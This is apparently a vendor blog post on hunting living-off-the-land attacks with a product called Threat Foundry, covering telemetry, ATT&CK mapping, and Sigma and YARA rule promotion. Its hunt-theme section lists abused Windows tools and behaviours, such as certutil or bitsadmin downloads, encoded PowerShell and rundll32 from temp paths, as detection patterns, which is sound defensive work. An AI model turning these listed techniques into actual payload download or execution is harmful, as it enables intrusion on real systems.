Hunting living off the land attacks with Threat Foundry.

Living off the land attacks are difficult because the adversary is not always bringing a suspicious binary to the party. They use tools that administrators, installers, endpoint agents, developers, and support teams already use: PowerShell, Windows Management Instrumentation, certutil, rundll32, regsvr32, mshta, schtasks, sc.exe, bitsadmin, remote management, cloud CLIs, scripting runtimes, and signed vendor utilities. The signal is not simply "this tool ran." The signal is how it ran, who ran it, what launched it, what it touched next, and whether the sequence fits the environment.

That is why living off the land hunting is a workflow problem, not just a rule-writing problem. A single command-line pattern may be noisy. A parent-child process relationship may be interesting but incomplete. A service creation event may be normal during patching. Threat Foundry is useful here because it keeps the analyst grounded in CTI context, ATT&CK behavior, telemetry assumptions, generated hunt logic, Sigma candidates, evidence review, and reporting in the same path.

Start with behavior, not tool names

The common mistake is to treat living off the land as a list of binaries. That list matters, and resources such as LOLBAS are valuable, but a durable hunt starts with adversary intent. What is the adversary trying to accomplish? Execution, defense evasion, credential access, discovery, lateral movement, persistence, collection, exfiltration, or impact?

PowerShell used by an endpoint management platform is different from PowerShell spawned by Office, a browser, a compressed archive utility, or an unusual scripting host. WMI used by a software deployment system is different from WMI launched from a compromised user workstation against multiple peers. Certutil used to manage certificates is different from certutil downloading an encoded payload into a user-writable path. The tool is the noun; the huntable behavior is the sentence.

Model the attack path in Threat Foundry

A practical living off the land hunt usually spans several ATT&CK techniques. A phishing payload may launch script execution, decode content, create persistence, perform discovery, contact infrastructure, and then use remote execution. Threat Foundry's CTI intake and Attack Path Builder help analysts convert that narrative into ordered behavior instead of isolated searches.

For example, a CTI item describing script-based intrusion can be reviewed in Auto Triage, mapped to ATT&CK techniques such as Command and Scripting Interpreter, Signed Binary Proxy Execution, System Information Discovery, Scheduled Task, and Ingress Tool Transfer, and then promoted into a reviewed hunt package. The analyst can inspect the generated logic before it touches production telemetry, tune the query to local field names, and preserve the source intelligence beside the hunt result.

Telemetry that matters

Living off the land detection improves when telemetry captures both process detail and context. On Windows, the minimum useful set is process creation with command line, parent process, user, host, image path, integrity level where available, script block or module logging for PowerShell where policy allows, service creation, scheduled task events, registry modifications, network connections, DNS, authentication events, and EDR process lineage. Sysmon can help when deployed carefully, but native Windows Security logs, PowerShell logs, EDR telemetry, and SIEM-normalized endpoint data can also support strong hunts.

Threat Foundry helps make that telemetry dependency explicit. Hunt packages and saved hunts can carry the query, the ATT&CK mapping, the expected fields, the source CTI, and the evidence returned. That gives teams a repeatable way to identify coverage gaps: maybe the behavior is important, but command-line logging is missing on a server tier; maybe process lineage exists in EDR but not in the SIEM; maybe PowerShell logging is enabled only on endpoints, not administrative jump hosts.

Example hunt themes

Useful living off the land hunts focus on abnormal combinations. Look for Office, browser, email client, PDF reader, archive tool, or chat application spawning script interpreters. Look for PowerShell with encoded commands, hidden windows, download cradles, suspicious reflection, unmanaged execution hints, or unusual network connections. Look for rundll32, regsvr32, mshta, or wscript launched from user-writable paths or temporary directories. Look for certutil, bitsadmin, curl, or PowerShell downloading content shortly before execution. Look for scheduled tasks or services created by non-admin workstation users, or with binaries staged outside standard administrative paths.

These are starting points, not final detections. A mature hunt narrows by environment. Developer workstations, IT administration hosts, build systems, EDR tooling, remote support tools, and vulnerability scanners all create legitimate noise. Threat Foundry's saved-hunt review flow gives analysts a place to preserve false-positive notes, identify expected administrative patterns, and decide whether a Sigma candidate should become a detection, remain a hunt, or be retired.

This is also where the First-Seen Admin Access And Lateral Movement Baseline playbook helps. Many living off the land behaviors become more meaningful when they are attached to a new privileged account path, first-seen access to a critical asset, remote service creation, scheduled task creation, or admin share write followed by execution. The playbook gives analysts a repeatable way to decide whether legitimate tooling is behaving like expected administration or like movement through the environment.

Use the Living-Off-The-Land Detection Engineering playbook

Threat Foundry also includes a built-in Living-Off-The-Land Detection Engineering playbook for the moment after a hunt produces evidence. That playbook helps analysts decide whether reviewed legitimate-tool abuse should become a Sigma candidate, YARA candidate, scheduled hunt, triage item, telemetry gap, or documented benign administration.

The key is promotion discipline. Sigma is the right lane when the suspicious behavior is log-based and specific enough to express with fields such as parent process, account, host role, command line, image path, service creation, scheduled task creation, or network follow-on activity. YARA is the right lane only when there are file or content traits: script fragments, encoded payload markers, malicious document artifacts, loader strings, malware family strings, or byte patterns. If the behavior is useful but too noisy for alerting, it should stay as a scheduled saved hunt while the team builds baseline confidence.

Use Sigma for behavior and YARA for content

Living off the land is mostly behavior-led, which makes Sigma a natural fit for many detections: process creation, command line, parent process, service creation, scheduled task changes, registry modifications, and authentication context. But YARA still has a role when CTI includes file or content traits: script fragments, embedded payload markers, malicious document artifacts, loader strings, or staged tooling. Threat Foundry's Sigma and YARA lanes keep those outputs separate so analysts do not force a file-focused artifact into a log-focused rule, or a log behavior into a content signature.

Review-first automation matters

Living off the land detections can break trust quickly if they are deployed blindly. A noisy rule for PowerShell or rundll32 will train analysts to ignore the alert. Threat Foundry's product tie-in is not "AI writes a rule and ships it." The useful pattern is review-first: CTI is scored, a hunt is generated with context, analysts inspect the query, returned rows are preserved, Sigma or YARA candidates are reviewed, and only then does a detection become part of the operating program.

Living off the land hunting is not about banning legitimate tools. It is about finding the moment legitimate tools stop behaving like legitimate administration.

Operational checklist

Use Threat Foundry to keep the hunt disciplined. Start from a CTI item or priority threat. Map the behavior to ATT&CK. Build an attack path that reflects the adversary sequence. Confirm telemetry readiness. Generate the hunt logic. Review results in saved hunts and Entity Analyzer. Convert stable behavior into Sigma. Use YARA only when file or script content supports it. Capture false positives and local allowlist logic. Report the coverage gap or validated detection so the program improves, not just the single hunt.